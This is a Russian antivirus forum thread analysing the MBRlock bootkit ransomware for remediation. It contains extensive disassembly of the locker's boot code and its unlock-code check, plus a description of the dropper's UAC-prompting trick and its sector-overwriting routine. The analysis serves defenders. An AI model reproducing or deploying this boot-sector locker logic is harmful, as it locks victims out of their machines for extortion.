Анализ нового MBRlock bootkitlocker.gen32

thyrex

Ассоциация VN/VIP
VIP
Сообщения
2,381
Реакции
2,446
Баллы
593
Появился новый MBRlock https://www.virustotal.com/file/1cc3f20cf434890ae26213c0e2a7a9442608bec3b89a150e1309d4fb36af391a/analysis/1330096104/



Примеры тем
http://forum.kaspersky.com/index.php?showtopic=229855
http://forum.kaspersky.com/index.php?showtopic=229825

Ускоренный анализ дампа из первой темы показал следующее
1. Почти весь код пошифрован с помощью XOR байтом по смещению 1FC
2. Код разблокировки основан на характеристиках процессора заблокированной машины (в тонкостях не разбирался)
3. Оригинальный MBR хранится во втором секторе и дешифровывается с помощью операции XOR с содержимым седьмого сектора

Внимание: ввиду того, что таблица разделов тоже пошифрована, использование FixMBR не рекомендуется

Код:
00000000: 6660		pushad
00000002: FC		cld
00000003: BE007C	mov	si,07C00
00000006: BF0006	mov	di,00600
00000009: B90002	mov	cx,00200
0000000C: F3A4		rep	movsb
0000000E: BB2C7C	mov	bx,07C2C
00000011: 81EB007C	sub	bx,07C00
00000015: 81C30006	add	bx,00600
00000019: 89D9		mov	cx,bx
; дешифровка кода
0000001B: 8A07		mov	al,[bx]
0000001D: 3206FC07	xor	al,[007FC]
00000021: 8807		mov	[bx],al
00000023: 43		inc	bx
00000024: 81FBFB07	cmp	bx,007FB
00000028: 75F1		jnz	00000001B
0000002A: FFE1		jmp	cx
; зашифрованный участок (002C – 01FA)
0000002C: 78C3		js	0FFFFFFF1
0000002E: C00DD0	ror	b,[di],0D0
00000031: 287EC0	sub	[bp][0C0],bh
00000034: 49		dec	cx
00000035: 1E		push	ds
00000036: 2850C0	sub	[bx][si][0C0],dl
00000039: 28AEC028	sub	[bp][028C0],ch
0000003D: 7FC0		jg	0FFFFFFFF
0000003F: 97		xchg	di,ax
00000040: 74C0		jz	000000002
00000042: 0DD69F	or	ax,09FD6
00000045: FC		cld
00000046: CDB4		int	0B4
00000048: DAFC		#UD
0000004A: E0B2		loopne 0FFFFFFFE
0000004C: 32FC		xor	bh,ah
0000004E: BEB72E	mov	si,02EB7
00000051: 6A90		push	090
00000053: EC		in	al,dx
00000054: F014		#UD(lock)
00000056: D015		rcl	b,[di],1
00000058: C9		leave
00000059: C0C6C0	rol	dh,0C0
0000005C: E99828	jmp	0000028F7
0000005F: E5C1		in	ax,0C1
00000061: 2B1C		sub	bx,[si]
00000063: 288AC143	sub	[bp][si][043C1],cl
00000067: 38C0		cmp	al,al
00000069: B4FA		mov	ah,-6
0000006B: 7A40		jp	0000000AD
0000006D: C078C1C2	sar	b,[bx][si][0C1],0C2
00000071: 79C7		jns	00000003A
00000073: C07BC0BE	sar	b,[bp][di][0C0],0BE
00000077: 0DD379	or	ax,079D3
0000007A: C2C078	retn	078C0
0000007D: C1C27B	rol	dx,07B
00000080: C0BC0DD34A	sar	b,[si][0D30D],04A
00000085: C7F2		#UD
00000087: 47		inc	di
00000088: C0C248	rol	dl,048
0000008B: C783413BC0BE 	mov	w,[bp][di][03B41],0BEC0
00000091: B531		mov	ch,031
00000093: 79C1		jns	000000056
00000095: C078C1C3	sar	b,[bx][si][0C1],0C3
00000099: 7BC0		jnp	00000005B
0000009B: BC0DD3	mov	sp,0D30D
0000009E: A6		cmpsb
0000009F: A12AC0	mov	ax,[0C02A]
000000A2: BCC0C0	mov	sp,0C0C0
000000A5: 3A703E	cmp	dh,[bx][si][03E]
000000A8: 26A4		movsb
000000AA: F1		#ICE1
000000AB: 09966CFC	or	[bp][0FC6C],dx
000000AF: C0B4C94139	sal	b,[si][041C9],039
000000B4: 3F		aas
000000B5: C7B4		#UD
000000B7: C3		retn
000000B8: 812B329E	sub	w,[bp][di],09E32
000000BC: 78C1		js	00000007F
000000BE: D3F1		sal	cx,cl
000000C0: 127BCF	adc	bh,[bp][di][0CF]
000000C3: C049350D	ror	b,[bx][di][035],00D
000000C7: D003		rol	b,[bp][di],1
000000C9: 7A40		jp	00000010B
000000CB: C079C8C0	sar	b,[bx][di][0C8],0C0
000000CF: 78C8		js	000000099
000000D1: C27BC0	retn	0C07B
000000D4: D00D		ror	b,[di],1
000000D6: D3491D	ror	w,[bx][di][01D],cl
000000D9: 4A		dec	dx
000000DA: 87D2		xchg	dx,dx
000000DC: FC		cld
000000DD: BEB4C1	mov	si,0C1B4
000000E0: 0374D1	add	si,[si][0D1]
000000E3: 70C0		jo	0000000A5
000000E5: 793F		jns	000000126
000000E7: C07AC0C0	sar	b,[bp][si][0C0],0C0
000000EB: 77D0		ja	0000000BD
000000ED: 73C0		jnc	0000000AF
000000EF: 0DD003	or	ax,003D0
000000F2: 79C3		jns	0000000B7
000000F4: C078C4C2	sar	b,[bx][si][0C4],0C2
000000F8: 7BC0		jnp	0000000BA
000000FA: E00D		loopne 000000109
000000FC: D303		rol	w,[bp][di],cl
000000FE: 4A		dec	dx
000000FF: E63D		out	03D,al
00000101: C760		#UD
00000103: 3BC7		cmp	ax,di
00000105: 28A0C078	sub	[bx][si][078C0],ah
00000109: C0C0CF	rol	al,0CF
0000010C: 6248FE	bound	cx,[bx][si][-2]
0000010F: C0E848	shr	al,048
00000112: DEC1		faddp	st(1),st(0)
00000114: E84918	call	000001960
00000117: 288EC078	sub	[bp][078C0],cl
0000011B: C0C0CF	rol	al,0CF
0000011E: 6248EE	bound	cx,[bx][si][0EE]
00000121: C2E848	retn	048E8
00000124: CE		into
00000125: C3		retn
00000126: E84908	call	000000972
00000129: 28FC		sub	ah,bh
0000012B: C078C1C0	sar	b,[bx][si][0C1],0C0
0000012F: CF		iret
00000130: 6248FE	bound	cx,[bx][si][-2]
00000133: C4		#UD(mod)
00000134: E848DE	call	00000DF7F
00000137: C5		#UD(mod)
00000138: E84918	call	000001984
0000013B: 28EA		sub	dl,ch
0000013D: C078C1C0	sar	b,[bx][si][0C1],0C0
00000141: CF		iret
00000142: 6248F6	bound	cx,[bx][si][0F6]
00000145: C6E8		#UD
00000147: 48		dec	ax
00000148: D6		setalc
00000149: C7E8		#UD
0000014B: 49		dec	cx
0000014C: 1028		adc	[bx][si],ch
0000014E: D8C0		fadd	st(0),st(0)
00000150: 7E04		jle	000000156
00000152: BD412E	mov	bp,02E41
00000155: C0BC4106C0	sar	b,[si][00641],0C0
0000015A: C66C		#UD
0000015C: FC		cld
0000015D: C0B4C79628	sal	b,[si][096C7],028
00000162: E2C0		loop	000000124
00000164: 9E		sahf
00000165: 2B34		sub	si,[si]
00000167: 03A6A071	add	sp,[bp][071A0]
0000016B: CC		int	3
0000016C: 52		push	dx
0000016D: 49		dec	cx
0000016E: 1013		adc	[bp][di],dl
00000170: 28E4		sub	ah,ah
00000172: CF		iret
00000173: C4		#UD(mod)
00000174: F0FC		#UD(lock)
00000176: F9		stc
00000177: B6C2		mov	dh,0C2
00000179: C4		#UD(mod)
0000017A: C728		#UD
0000017C: C8C04029	enter	040C0,029
00000180: C4B32AA6	les	si,[bp][di][0A62A]
00000184: A103A6	mov	ax,[0A603]
00000187: A07BCB	mov	al,[0CB7B]
0000018A: C074CE0D	sal	b,[si][0CE],00D
0000018E: D0A6A103	shl	b,[bp][003A1],1
00000192: 03963C7B	add	dx,[bp][07B3C]
00000196: 3F		aas
00000197: 3F		aas
00000198: 6C		insb
00000199: 91		xchg	cx,ax
0000019A: 79C8		jns	000000164
0000019C: C0F003	sal	al,3
0000019F: 112B		adc	[bp][di],bp
000001A1: B3C4		mov	bl,0C4
000001A3: 41		inc	cx
000001A4: 33C1		xor	ax,cx
000001A6: 60		pusha
000001A7: 22369922	and	dh,[02299]
000001AB: 2C49		sub	al,049'
000001AD: 189E037E	sbb	[bp][07E03],bl
000001B1: C0E879	shr	al,079
000001B4: C8C0281A	enter	028C0,01A
000001B8: 3F		aas
000001B9: C020FA	shl	b,[bx][si],-6
000001BC: C6C0E9	mov	al,0E9
000001BF: B4C2		mov	ah,0C2
000001C1: F1		#ICE1
000001C2: 0003		add	[bp][di],al
000001C4: CDCA	int	0CA
000001C6: 90		nop
000001C7: A1B3B3	mov	ax,[0B3B3]
000001CA: B7AF		mov	bh,0AF
000001CC: B2A4		mov	dl,0A4
000001CE: FA		cli
000001CF: E0C0		loopne 000000191
000001D1: C0C0C0	rol	al,0C0
000001D4: C0C0C0	rol	al,0C0
000001D7: C0C0C0	rol	al,0C0
000001DA: C0C0C0	rol	al,0C0
000001DD: C0C0C0	rol	l,0C0
000001E0: C0C0C0	rol	al,0C0
000001E3: C0C0C0	rol	al,0C0
000001E6: C0C0C0	rol	al,0C0
000001E9: C0C0C0	rol	al,0C0
000001EC: C0C0C0	rol	al,0C0
000001EF: C0C0C0	rol	al,0C0
000001F2: C0C0C0	rol	al,0C0
000001F5: C0C0C0	rol	al,0C0
000001F8: C0C0C0	rol	l,0C0
; конец зашифрованного участка
000001FB: 16		push	ss
000001FC: C00355	rol	b,[bp][di],055
000001FF: AA		stosb

Код:
; установить видеорежим
0000002C: B80300	mov		ax,3
0000002F: CD10		int		010

; чтение секторов с сообщением вымогателя
00000031: E8BE00	call		0000000F2
00000034: 89DE		mov		si,bx

; инициализация знакогенератора
00000036: E89000	call		0000000C9

; вывод сообщения
00000039: E86E00	call		0000000AA

; получение информации о процессоре и вывод строки ввода кода
0000003C: E8BF00	call		0000000FE
; ввод кода
0000003F: 57		push		di
00000040: B400		mov		ah,0
00000042: CD16		int		016
00000044: 5F		pop		di
00000045: 3C0D		cmp		al,00D
00000047: 741A		jz		000000063
00000049: 3C20		cmp		al,020
0000004B: 72F2		jc		00000003F
0000004D: 3C7E		cmp		al,07E
0000004F: 77EE		ja		00000003F
00000051: AA		stosb
00000052: 50		push		ax
00000053: 2C30		sub		al,030
00000055: D410		aam		010
00000057: D509		aad		9
00000059: 00060029	add		[02900],al
0000005D: 58		pop		ax
0000005E: E82501	call		000000186
00000061: EBDC		jmps		00000003F

; проверка кода
00000063: E84A01	call		0000001B0
00000066: 83F800	cmp		ax,0
00000069: 743A		jz		0000000A5
; код верный, чтение и дешифровка оригинального MBR
0000006B: BA8000	mov		dx,00080
0000006E: B80102	mov		ax,00201
00000071: B90700	mov		cx,7
00000074: BB007E	mov		bx,07E00
00000077: CD13		int		013
00000079: B90200	mov		cx,2
0000007C: B80102	mov		ax,00201
0000007F: BB007C	mov		bx,07C00
00000082: CD13		int		013
00000084: 8A07		mov		al,[bx]
00000086: 32870002	xor		al,[bx][00200]
0000008A: 8807		mov		[bx],al
0000008C: 43		inc		bx
0000008D: 81FB007E	cmp		bx,07E00
00000091: 75F1		jnz		000000084
00000093: B90100	mov		cx,1
00000096: B80103	mov		ax,00301
00000099: BB007C	mov		bx,07C00
0000009C: CD13		int		013
0000009E: 6661		popad
000000A0: EA007C0000	jmpf		00000:07C00
000000A5: FA		cli
000000A6: B0FE		mov		al,-2
000000A8: E664		out		064,al

; вывод сообщения
000000AA: 31C9		xor		cx,cx
000000AC: 56		push		si
000000AD: AC		lodsb
000000AE: 3C00		cmp		al,0
000000B0: 7409		jz		0000000BB
000000B2: 81F9FF07	cmp		cx,007FF
000000B6: 7403		jz		0000000BB
000000B8: 41		inc		cx
000000B9: EBF2		jmps		0000000AD
000000BB: 5E		pop		si
000000BC: B80113	mov		ax,01301
000000BF: 31D2		xor		dx,dx
000000C1: BB0F00	mov		bx,0000F
000000C4: 89F5		mov		bp,si
000000C6: CD10		int		010
000000C8: C3		retn

; загрузка знакогенератора
000000C9: BA8000	mov		dx,00080
000000CC: B90800	mov		cx,8
000000CF: B80802	mov		ax,00208
000000D2: BB0010	2mov		bx,01000
000000D5: CD13		int		013
000000D7: 89DD		mov		bp,bx
000000D9: 8A4712	mov		al,[bx][012]
000000DC: 3C7E		cmp		al,07E
000000DE: 7401		jz		0000000E1
000000E0: C3		retn
000000E1: B411		mov		ah,011
000000E3: B000		mov		al,0
000000E5: B9FF00	mov		cx,000FF
000000E8: BA0000	mov		dx,0
000000EB: B710		mov		bh,010
000000ED: B300		mov		bl,0
000000EF: CD10		int		010
000000F1: C3		retn

; прочитать 4 сектора (3, 4, 5, 6) по адресу es:bx
000000F2: B90300	mov		cx,3
000000F5: B80402	mov		ax,00204
000000F8: BB0020	mov		bx,02000
000000FB: CD13		int		013
000000FD: C3		retn

; сохранение информации о процесс + подготовка строки ввода кода
000000FE: 8A26FD07	mov		ah,[007FD] ; ah = 03
00000102: A0FB07	mov		al,[007FB] ; al = 16
00000105: E86000	call		00000168
; получение информации о процессоре
00000108: B80000	mov		ax,0
0000010B: 0FA2		cpuid
0000010D: 883E0028	mov		[02800],bh
00000111: 881E0128	mov		[02801],bl
00000115: 89D8		mov		ax,bx
00000117: E84E00	call		000000168
0000011A: B80000	mov		ax,0
0000011D: 0FA2		cpuid
0000011F: 882E0228	mov		[02802],ch
00000123: 880E0328	mov		[02803],cl
00000127: 89C8		mov		ax,cx
00000129: E83C00	call		000000168
0000012C: B80100	mov		ax,1
0000012F: 0FA2		cpuid
00000131: 883E0428	mov		[02804],bh
00000135: 881E0528	mov		[02805],bl
00000139: 89D8		mov		ax,bx
0000013B: E82A00	call		000000168
0000013E: B80100	mov		ax,1
00000141: 0FA2		cpuid
00000143: 88360628	mov		[02806],dh
00000147: 88160728	mov		[02807],dl
0000014B: 89D0		mov		ax,dx
0000014D: E81800	call		000000168
00000150: BEC47D	mov		si,07DC4
00000153: 81EE007C	sub		si,07C00
00000157: 81C60006	add		si,00600
0000015B: AC		lodsb
0000015C: 3C00		cmp		al,0
0000015E: 7407		jz		000000167
00000160: 56		push		si
00000161: E82200	call		000000186
00000164: 5E		pop		si
00000165: EBF4		jmps		00000015B
00000167: C3		retn

; вывод 16-ричных цифр на экран
00000168: 6660		pushad
0000016A: B10C		mov		cl,00C
0000016C: 92		xchg		dx,ax
0000016D: 89D0		mov		ax,dx
0000016F: D3E8		shr		ax,cl
00000171: 240F		and		al,00F
00000173: 0430		add		al,030
00000175: 3C39		cmp		al,039'
00000177: 7602		jbe		00000017B
00000179: 0407		add		al,7
0000017B: E80800	call		000000186
0000017E: 80E904	sub		cl,4
00000181: 73EA		jnc		00000016D
00000183: 6661		popad
00000185: C3		retn
00000186: 6660		pushad
00000188: BB0B00	mov		bx,0000B
0000018B: B40E		mov		ah,00E
0000018D: CD10		int		010
0000018F: 6661		popad
00000191: C3		retn

00000192: C3		retn

; преобразование кода конфигурации
00000193: 56		push		si
00000194: FC		cld
00000195: BBFFFF	mov		bx,-1
00000198: AC		lodsb
00000199: 51		push		cx
0000019A: B90800	mov		cx,8
0000019D: 30C3		xor		bl,al
0000019F: D1EB		shr		bx,1
000001A1: 7304		jnc		0000001A7
000001A3: 81F301A0	xor		bx,0A001
000001A7: E2F6		loop		00000019F
000001A9: 59		pop		cx
000001AA: E2EC		loop		000000198
000001AC: 89D8		mov		ax,bx
000001AE: 5E		pop		si
000001AF: C3		retn

; проверка кода
000001B0: BE0028	mov		si,02800
000001B3: B90800	mov		cx,8
000001B6: E8DAFF	call		000000193
000001B9: 00E0		add		al,ah
000001BB: 3A060029	cmp		al,[02900]
000001BF: 7402		jz		0000001C3
000001C1: 31C0		xor		ax,ax
000001C3: C3		retn

000001C4: 0D0A, ‘Password: ’
000001D0: 0000
…
000001F8: 0000
 
Последнее редактирование:

akok

Команда форума
Администратор
Сообщения
16,373
Реакции
13,010
Баллы
2,203
Когда сможешь подготовить лекарство?
 

thyrex

Ассоциация VN/VIP
VIP
Сообщения
2,381
Реакции
2,446
Баллы
593
О лекарстве пока сказать трудно. Нужны еще дампы, чтобы удостовериться, что MBR и его дешифровщик расположены в одном месте
 

thyrex

Ассоциация VN/VIP
VIP
Сообщения
2,381
Реакции
2,446
Баллы
593
Добавил в первый пост
 

akok

Команда форума
Администратор
Сообщения
16,373
Реакции
13,010
Баллы
2,203
Понятно. Ждем лекарство.
 

QuarQ

Активный пользователь
Сообщения
4
Реакции
1
Баллы
233
thyrex, а нельзя ли восстановить все это хозяйство testdisk + FixMBR

testdisk при включении скажет что таблица запорота и предложит восстановить из второй записи , а потом пофиксить MBR !???
 

thyrex

Ассоциация VN/VIP
VIP
Сообщения
2,381
Реакции
2,446
Баллы
593
QuarQ, шаманить вручную - это для опытных пользователей. А таких меньшинство
 

QuarQ

Активный пользователь
Сообщения
4
Реакции
1
Баллы
233
thyrex, согласен!
но для тех кто соображает ждать выход кейгена под каждую модификацию этой заразы тоже не выход
а testdisk прекрасно справиться с этой задачей за пару минут все будет в первоначальном виде
и продвинутые пользователи тоже должны быть в курсе что что кейген не единственное лекарство
пользователи вам в любом случае скажут спасибо за любую информацию по возможности восстановить винчестер

вообще спасибо что вообще существует такая тема!
 

Severnyj

Команда форума
Супер-Модератор
Ассоциация VN/VIP
Сообщения
8,402
Реакции
8,752
Баллы
743
Пока MBR-локеры не сменили тактику заражения способ с тест-диском пройдет, но в будущем ситуация может и измениться, когда кроме как подбора кода других выходов не будет. О способах промолчу поскольку форум читают и вирмейкеры тоже.
 

simplix

Активный пользователь
Сообщения
37
Реакции
159
Баллы
338
Живой дроппер MBRLock.19 (infected).

Информация
Не нужно выкладывать зверье в прямой доступ
 
Последнее редактирование модератором:

thyrex

Ассоциация VN/VIP
VIP
Сообщения
2,381
Реакции
2,446
Баллы
593
simplix, а может анализ работы дроппера сделаете?
 

simplix

Активный пользователь
Сообщения
37
Реакции
159
Баллы
338
thyrex, Так ведь в первом сообщении подробный анализ, мне больше нечего добавить. Кроме красивого обхода UAC, который вы и так увидите :)
Мне казалось здесь вложения не все могут загружать, потому и выложил. Наверное это в другом подфоруме.
 
Последнее редактирование:

thyrex

Ассоциация VN/VIP
VIP
Сообщения
2,381
Реакции
2,446
Баллы
593
ведь в первом сообщении подробный анализ
Там анализ самого блокировщика. А я прошу механизм работы дроппера

красивого обхода UAC, который вы и так увидите
Хотелось бы, чтобы это увидел не только я, а и все местное сообщество ;)
 

simplix

Активный пользователь
Сообщения
37
Реакции
159
Баллы
338
Хорошо, но я никогда таких опусов не писал, так что извиняйте :) Обычно я их просто лечу, а не мемуары катаю :sarcastic:

Когда троян обнаруживает, что его запустили с ограниченными правами, он копирует себя во временную папку под видом библиотеки, а затем запускает на выполнение команду вида "rundll32.exe %Temp%\troyan.dll,Start %ExeDir%\troyan.exe" и пользователь видит синенькое предупреждение, которое означает, что файл подписан. Расчёт идёт на то, что пользователь не нажмёт кнопку "Показать подробности" и не будет анализировать расположение программы. Если пользователь не соглашается запустить этот файл с правами администратора, троян будет снова и снова запускать его, до тех пор, пока пользователь но ответит положительно.

Когда админские права получены, троян записывается в PendingFileRenameOperations, чтобы самоубиться при следующей загрузке системы (WinXP). После этого он последовательно читает первые 16 секторов винчестера, записывает случайные байты в 7-й и знакогенератор в 8-15 сектора, выводимое сообщение в секторы 3-5, затем шифрует (алгоритм есть в шапке) оригинальный загрузочный сектор и записывает его во второй, в конце перезаписывает первый основным кодом. Затем удаляет себя (Win7, но забывает удалить свою библиотеку во временной папке) и начинает перезагрузку компьютера.
 

thyrex

Ассоциация VN/VIP
VIP
Сообщения
2,381
Реакции
2,446
Баллы
593
я никогда таких опусов не писал
То, что Вы написали, трудно считать опусом. Так небольшой рассказик :D

От себя пока добавлю: дроппер определяет язык локализации системы, чтобы вывести соответствующее сообщение и указать адрес электронной почты для обращения.

Поддерживаются русский, немецкий, французский, итальянский, английский. Изначальный код в загрузочных секторах сначала дешифруется при помощи операции xor (в данном дропе с байтом $0A), а затем все еще распаковывается при помощи функции RtlDeCompressBuffer, находящейся в ntdll.dll
 
Сверху Снизу